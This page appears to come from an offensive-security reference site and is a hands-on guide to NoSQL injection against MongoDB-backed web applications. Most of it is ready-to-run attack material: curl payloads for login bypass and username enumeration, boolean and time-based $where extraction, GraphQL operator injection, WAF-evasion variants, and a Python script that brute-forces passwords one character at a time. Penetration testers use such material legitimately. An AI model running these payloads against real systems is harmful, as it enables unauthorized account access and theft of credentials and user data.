# NoSQL Injection

> Exploit NoSQL databases via malformed queries, operator abuse, and authentication bypass targeting MongoDB, CouchDB, and similar non-relational backends.

- **URL:** https://hackindex.io/services/web/exploitation/nosql-injection
- **Path:** HTTP/HTTPS > Exploitation
- **Up:** [Exploitation](https://hackindex.io/services/web/exploitation.md)
- **Published:** 2026-09-13
- **Updated:** 2026-09-13

NoSQL injection targets web applications that pass user input into NoSQL database queries without proper sanitization. Unlike SQL injection, the attack uses database-specific operators and JSON structures rather than SQL syntax. MongoDB is the most common target, but the same class of vulnerability affects CouchDB, Couchbase, and other document stores. The injection surface is the web application layer: HTTP parameters, JSON POST bodies, and query strings that reach a database find or aggregate operation. The most common impact is [authentication bypass](https://hackindex.io/services/web/vulnerability-discovery/authentication-vulnerability-testing), since login forms that query document stores are the primary target. For direct MongoDB shell exploitation, see the [MongoDB operator injection](https://hackindex.io/services/mongodb/exploitation/mongodb-operator-injection) page.

## Authentication Bypass

The most common NoSQL injection outcome is authentication bypass. Web login forms that pass credentials directly into a MongoDB `findOne()` query are vulnerable when the application accepts structured input (JSON bodies or PHP-style array parameters) without type checking.

### URL Parameter Injection

PHP and Express applications that parse query strings into arrays allow operator injection through bracket notation. The server interprets `password[$ne]=x` as `{"password": {"$ne": "x"}}`, which matches any document where the password is not `x`:

```bash
curl -sk -X POST http://$TARGET_IP:$PORT/login --data-urlencode 'username=admin' --data-urlencode 'password[$ne]=x'
# HTTP/1.1 302 Found
# Location: /dashboard
# Set-Cookie: session=eyJhbGciOiJIUzI1...
```

A redirect to a dashboard or the presence of a session cookie confirms the bypass. The `$ne` operator makes the password condition match any value except `x`, effectively skipping password verification.

### JSON Body Injection

Modern applications that accept JSON POST bodies are the primary target. When the backend passes the parsed JSON object directly into a MongoDB query, operator objects survive intact:

**Authentication bypass with $ne**

```bash
curl -sk -X POST http://$TARGET_IP:$PORT/api/login -H 'Content-Type: application/json' -d '{"username":"admin","password":{"$ne":""}}'
# {"success":true,"token":"eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiYWRtaW4ifQ..."}
```

**Authentication bypass with $regex**

```bash
curl -sk -X POST http://$TARGET_IP:$PORT/api/login -H 'Content-Type: application/json' -d '{"username":"admin","password":{"$regex":".*"}}'
# {"success":true,"token":"eyJhbGciOiJIUzI1NiJ9..."}
```

The `$regex` payload `.*` matches any string, so it bypasses authentication the same way. If `$ne` is filtered, try `$regex`, `$gt`, or `$exists` as alternatives.

### Enumerate Valid Usernames

When the application returns different responses for valid versus invalid usernames, combine `$regex` on the username field with a known-true password operator to enumerate users:

```bash
curl -sk -X POST http://$TARGET_IP:$PORT/api/login -H 'Content-Type: application/json' -d '{"username":{"$regex":"^a"},"password":{"$ne":""}}'
# {"success":true,"user":"admin"}
```

Iterate through starting characters to discover all usernames in the collection. A successful response for `^a` but failure for `^b` narrows the first character.

## Operator Injection

MongoDB query operators are the building blocks of NoSQL injection. Each serves a different purpose depending on the injection context:

- `$ne` (not equal): authentication bypass, always-true conditions. Payload: `{"$ne":""}`
- `$gt` / `$lt` (greater/less than): bypass and range enumeration. `{"$gt":""}` matches any non-empty string.
- `$regex`: pattern matching for data extraction and bypass. Supports anchored character-by-character extraction.
- `$where`: JavaScript evaluation inside the query. Enables time-based extraction and complex logic. Disabled by default in MongoDB 4.4+ with restricted mode.
- `$exists`: check if a field exists. `{"$exists":true}` matches all documents with that field. Useful when other operators are filtered.
- `$in`: match any value in an array. `{"$in":["admin","root","administrator"]}` tests multiple usernames in one request.

When one operator is filtered, try others. Applications that block `$ne` often miss `$gt` or `$regex`. Test each operator systematically.

## Data Extraction via Boolean

When the application returns different responses for matching versus non-matching queries (login success vs failure, different content, different status codes), extract data character by character using `$regex`. This is the NoSQL equivalent of blind SQL injection.

Start by determining the password length, then extract each character with an anchored regex pattern:

**Test password length**

```bash
curl -sk -X POST http://$TARGET_IP:$PORT/api/login -H 'Content-Type: application/json' -d '{"username":"admin","password":{"$regex":"^.{8}$"}}'
# {"success":true}
```

A success response for `^.{8}$` confirms an 8-character password. Increment the count until the response flips.

Automate character extraction with a Python script:

```python
import requests
import string

url = f"http://$TARGET_IP:$PORT/api/login"
charset = string.ascii_letters + string.digits + string.punctuation
password = ""
regex_password = ""

while True:
    found = False
    for c in charset:
        # Escape regex special characters
        escaped = c if c.isalnum() else f"\\{c}"
        payload = {
            "username": "admin",
            "password": {"$regex": f"^{regex_password}{escaped}"}
        }
        r = requests.post(url, json=payload, verify=False)
        if '"success":true' in r.text or r.status_code == 200:
            password += c
            regex_password += escaped
            print(f"[+] Found: {password}")
            found = True
            break
    if not found:
        break

print(f"[+] Password: {password}")
```

This sends one request per character per position. For large character sets, optimize by testing ranges first (`[a-m]` vs `[n-z]`) to reduce the request count. Watch for rate limiting: add a short delay between requests if the application throttles.

## JavaScript Injection ($where)

The `$where` operator evaluates JavaScript expressions in the query context. When an application injects user input into a `$where` clause, the attacker can execute arbitrary JavaScript within the MongoDB query engine. This is the most dangerous operator injection variant, allowing both data extraction and time-based blind techniques.

> [!WARNING]
> **Note:** MongoDB 4.4+ restricts `$where` execution by default, and MongoDB 5.0+ further limits it. This technique works against older deployments and applications that explicitly enable server-side JavaScript.

**Boolean-based $where injection**

```bash
curl -sk -X POST http://$TARGET_IP:$PORT/api/login -H 'Content-Type: application/json' -d '{"username":"admin","$where":"this.password.match(/^a/) != null"}'
# {"success":true}
```

If the login succeeds, the password starts with `a`. Use the same character-by-character approach as boolean blind extraction.

### Time-Based Extraction

When boolean differences are not visible, use `sleep()` to create a measurable time delay. A delayed response confirms the condition is true:

**Time-based $where injection**

```bash
curl -sk -o /dev/null -w '%{time_total}' -X POST http://$TARGET_IP:$PORT/api/login -H 'Content-Type: application/json' -d '{"username":"admin","$where":"if(this.password.match(/^a/)){sleep(3000)}"}'
# 3.142
```

A response time above 3 seconds confirms the first character. A sub-second response means the character was wrong. Script this the same way as boolean extraction, replacing the success check with a response time threshold.

## NoSQL Injection in JSON APIs

Modern REST and GraphQL APIs that accept JSON request bodies are the primary injection surface. Unlike traditional form-based applications where PHP or Express parse bracket notation into objects, JSON APIs allow direct operator injection because the JSON parser preserves nested objects by design.

Test any endpoint that accepts JSON input and queries a document store. Common targets:

- Login and authentication endpoints
- Search and filter endpoints (`/api/users?filter={}`)
- Password reset flows that look up users by email or token
- API endpoints that accept query parameters as JSON objects

**Test search endpoint for operator injection**

```bash
curl -sk http://$TARGET_IP:$PORT/api/users -H 'Content-Type: application/json' -d '{"username":{"$regex":".*"},"role":"admin"}'
# [{"username":"admin","email":"admin@target.local","role":"admin"}]
```

A response containing user data confirms the endpoint is vulnerable. Combine `$regex` with field-specific filters to extract records selectively.

GraphQL mutations and queries that forward variables into MongoDB operations are vulnerable the same way. Inject operators through GraphQL variables:

```json
{
  "query": "mutation { login(username: $u, password: $p) { token } }",
  "variables": {
    "u": "admin",
    "p": {"$ne": ""}
  }
}
```

## WAF Bypass Techniques

Web application firewalls and input filters that block common MongoDB operators can sometimes be evaded with alternative syntax and encoding.

### Unicode Escaping

Replace ASCII characters in operator names with Unicode equivalents. Some parsers resolve Unicode escapes before the WAF inspects the input:

```json
{"username":"admin","password":{"\u0024ne":""}}
```

`\u0024` is the Unicode escape for `$`. If the JSON parser resolves escapes before the filter checks for `$ne`, the operator reaches the database intact.

### Alternative Request Formats

If the WAF inspects JSON bodies, try URL-encoded form data with bracket notation instead (or vice versa). Some WAFs only filter one content type:

```bash
curl -sk -X POST http://$TARGET_IP:$PORT/login -H 'Content-Type: application/x-www-form-urlencoded' --data-urlencode 'username=admin' --data-urlencode 'password[$ne]='
```

### Nested Object Depth

Some filters check the top-level keys but not deeply nested structures. Wrapping operators inside additional objects can bypass shallow inspection:

```json
{"username":"admin","password":{"$not":{"$eq":"invalid"}}}
```

The `$not` wrapper inverts the condition: not equal to `invalid` matches the real password. Filters that only block `$ne` at the first nesting level may miss this.

## References

- [OWASP: Testing for NoSQL Injection](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05.6-Testing_for_NoSQL_Injection) - OWASP Web Security Testing Guide section on NoSQL injection methodology.
- [MongoDB: Query Injection FAQ](https://www.mongodb.com/docs/manual/faq/fundamentals/#how-does-mongodb-address-sql-or-query-injection) - Official MongoDB documentation on query injection and prevention.
- [NoSQL Injection Cheatsheet](https://nullsweep.com/nosql-injection-cheatsheet/) - Quick reference for MongoDB injection payloads and operators.
- [PayloadsAllTheThings: NoSQL Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection) - Payload collection for MongoDB, CouchDB, and other NoSQL databases.
